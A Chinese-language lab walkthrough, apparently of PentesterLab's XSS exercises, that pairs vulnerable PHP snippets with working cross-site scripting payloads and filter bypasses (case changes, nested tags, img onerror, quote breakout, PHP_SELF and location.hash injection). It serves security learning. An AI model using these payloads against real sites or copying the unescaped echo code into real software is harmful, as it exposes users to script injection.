XSS學習仍是比較抽象,主要最近受權測的某基金裏OA的XSS真的實在是太多了,感受均可以作一個大合集了,加上最近看到大佬的博客,因此這裏我也寫一個簡單的小靶場手冊,順帶着也幫助本身把全部XSS的方式給溫習一遍。javascript
<?php echo $_GET["name"]; ?>
頁面沒有過濾任何參數,想傳啥就傳啥,能夠直接傳參php
example1.php?name=<script>alert(/xss/)</script>
<?php $name = $_GET["name"]; $name = preg_replace("/<script>/","", $name); $name = preg_replace("/<\/script>/","", $name); echo $name; ?>
對於<script>,</script>兩個參數進行了屏蔽,可是沒有作大小寫限制,所以能夠直接經過大小寫的方式繞過html
example2.php?name=<sCriPt>alert(/xss/)</sCriPt>
<?php $name = $_GET["name"]; $name = preg_replace("/<script>/i","", $name); $name = preg_replace("/<\/script>/i","", $name); echo $name; ?>
/i 表明着無視大小寫,所以咱們須要使用其餘方式,經常使用的img方式或者使用標籤<a>或者svg方式測試,或者使用雙script方式繞過(寫到example4的時候才發現example3應該檢測的是雙sciprt繞過orz,這裏補一下)java
example3.php?name=<img src=「x」 onerror=alert(/hellworld/)>
或者
example3.php?name=<S<script>cript>alert(/hellworld/)</S</script>cript>
if (preg_match('/script/i', $_GET["name"]))
{ die("error"); }
這時候就不能出現任何script語句,所以使用上述example3上的例子:使用img方式彈出sql
example4.php?name=<img src=「x」 onerror=alert(/hellworld/)>
if (preg_match('/alert/i', $_GET["name"])) { die("error"); }
例子5出現了對任意大小寫alert的限制,所以須要使用其餘方式,這裏使用prompt或者confirm來彈窗macos
example5.php?name=<script>confirm('XSS')</script> example5.php?name=<script>prompt('XSS')</script>
<script> var $a= "<?php echo $_GET["name"]; ?>"; 須要注意這個引號,咱們須要在在輸入中將它閉合 </script>
直接在js語句中GET["name"] 這樣子是有巨大風險的,能夠直接輸入命令繞過xss
example6.php?name=";alert(/xss/);"
<script> var $a= '<?php echo htmlentities($_GET["name"]); ?>'; </script>
首先,htmlentities() 函數是把字符轉換爲 HTML 實體,所以可使用單引號繞過’svg
example7.php?name=';alert(/xss/);'
<?php require_once '../header.php'; if (isset($_POST["name"])) { echo "HELLO ".htmlentities($_POST["name"]); } ?> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST"> Your name:<input type="text" name="name" /> <input type="submit" name="submit"/>
這段代碼 一種是經過post方式輸入,而後經過htmlentities實體化,這種方式單引號繞過便會失效函數
可是後面還有一段 <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">post
咱們能夠想辦法,把" method="POST">這個給註釋掉,而後這樣子的話在from裏面就能夠執行xss
所以執行
example8.php/"><script>alert('XSS')</script>//
<?php require_once '../header.php'; ?> <script> document.write(location.hash.substring(1)); </script> <?php require_once '../footer.php'; ?>
首先依舊在script內,且執行了location.hash.substring(1)
查閱相關資料可知:hash 屬性是一個可讀可寫的字符串,該字符串是 URL 的錨部分(從 # 號開始的部分)
所以可構建payload
example9.php#<script>alert('XSS')</script>
後面查閱資料發現只有IE才能彈出,無奈macos只有chorme和firefox沒法測試orz
XSS篇到此結束
參考文檔:
國光大佬的學習記錄:https://www.sqlsec.com/2020/05/pentesterlab.html
W3school:https://www.w3school.com.cn/jsref/prop_loc_hash.asp
CTF中PHP知識彙總:https://www.restran.net/2016/09/26/php-security-notes/